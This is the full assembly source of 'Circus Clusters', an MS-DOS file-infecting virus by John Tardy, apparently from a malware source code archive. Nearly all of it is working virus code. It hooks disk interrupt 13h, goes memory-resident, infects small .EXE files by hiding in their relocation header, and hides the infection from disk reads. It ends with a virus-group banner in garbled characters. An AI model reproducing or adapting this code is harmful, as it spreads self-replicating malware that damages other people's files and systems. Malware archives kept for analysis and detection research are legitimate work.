MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.cluster1.asm
2021-01-12 17:34:47 -06:00

177 lines
5.0 KiB
NASM
Raw Blame History

;
; Circus Clusters by John Tardy
;
; This virus is a purely research virus and will not be very able to spread
; itself. It only infects .EXE files smaller than 64K and have a very small
; relocation header, so it can hide itself there. It is fully stealth and it
; only occupies 273 bytes (512-273=239 bytes left for the exe header and the
; relocation table, which ain't much). However, it is functional and can
; spread itself if the criteria files are aveable. If this virus is enhanced,
; it could be a serious threath to the antiviral community.
;
Org 100h
Jumpie: Jmp Short Jumper
Org 17ch
Old13 DD 0
Jumper: Jmp Install
New13: Cmp Ah,3
Je CheckExe
Cmp Ah,2
Jne Org13
Pushf
Call Dword Ptr Cs:[Old13]
Jc Error
Cmp Word Ptr Es:[Bx],7eebh
Jne error
Mov Word Ptr Es:[Bx],'ZM'
Push Di
Push Cx
Push Ax
Mov Cx,VirLen
Xor Ax,Ax
Mov Di,Bx
Add Di,80h
Rep Stosb
Pop Ax
Pop Cx
Pop Di
Error: Iret
Org13: Jmp Dword Ptr Cs:[Old13]
CheckExe:
Cmp Word Ptr Es:[Bx],'ZM' ; EXE file?
Jne Org13 ; No do normal INT13
Cmp Word Ptr Es:[Bx][4],(60000/512) ; Is it too long?
Jnb Org13 ; Yes do normal INT13
Push Ax
Push Cx
Push Si
Push Di
Push Ds
Push Es
Pop Ds
Mov Si,Bx
Add Si,80h
Mov Cx,VirLen
Find0: Lodsb
Cmp Al,0
Loope Find0
Cmp Cx,0
Jne No0
Mov Di,Bx
Add Di,80h
Mov Cx,VirLen
Lea Si,Old13
Push Cs
Pop Ds
Rep Movsb
Mov Di,Bx
Mov Ax,07eebh
Stosw
No0:
Pop Ds
Pop Di
Pop Si
Pop Cx
Pop Ax
Jmp Org13
Install:
Mov Ax,3513h
Int 21h
Mov Word Ptr Cs:Old13[0],Bx
Mov Word Ptr Cs:Old13[2],Es
mov ah,0dh
int 21h
mov ah,36h
mov dl,0
int 21h
mov ax,cs ;adjust memory-size
dec ax
mov ds,ax
cmp byte ptr ds:[0],'Z'
jne quitit
resit: sub word ptr ds:[3],virpar+20h
sub word ptr ds:[12h],VirPar+20h
lea si,old13
mov di,si
mov es,ds:[12h]
mov ds,cs
mov cx,virlen
rep movsb
Mov Ax,2513h
Mov Ds,es
Lea Dx,New13
Int 21h
Mov Ah,4ah
Push Cs
Pop Es
Mov Bx,VirPar+20h
Int 21h
push cs
pop ds
mov bx,ds:[2ch] ; environment segment
mov es,bx
xor ax,ax
mov di,1
Seek: dec di ; scan for end of environment
scasw
jne Seek
lea si,ds:[di+2] ; es:si = start of filename
Exec: push bx
pop ds
push cs
pop es
mov di,offset f_name ; copy name of this file
push di
xor bx,bx
movit: mov cx,80
inc bx
lodsb
cmp al,0
jne stor
mov al,0dh
stor: stosb
cmp al,0dh
loopne movit
mov f_len,bl
push cs
pop ds
pop si
dec si
Int 2eh
quitit: mov ah,4ch
int 21h
f_len db 0
f_name: db 1
VirEnd Equ $
VirLen Equ $-Old13
VirPar Equ ($-Jumpie)/16
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>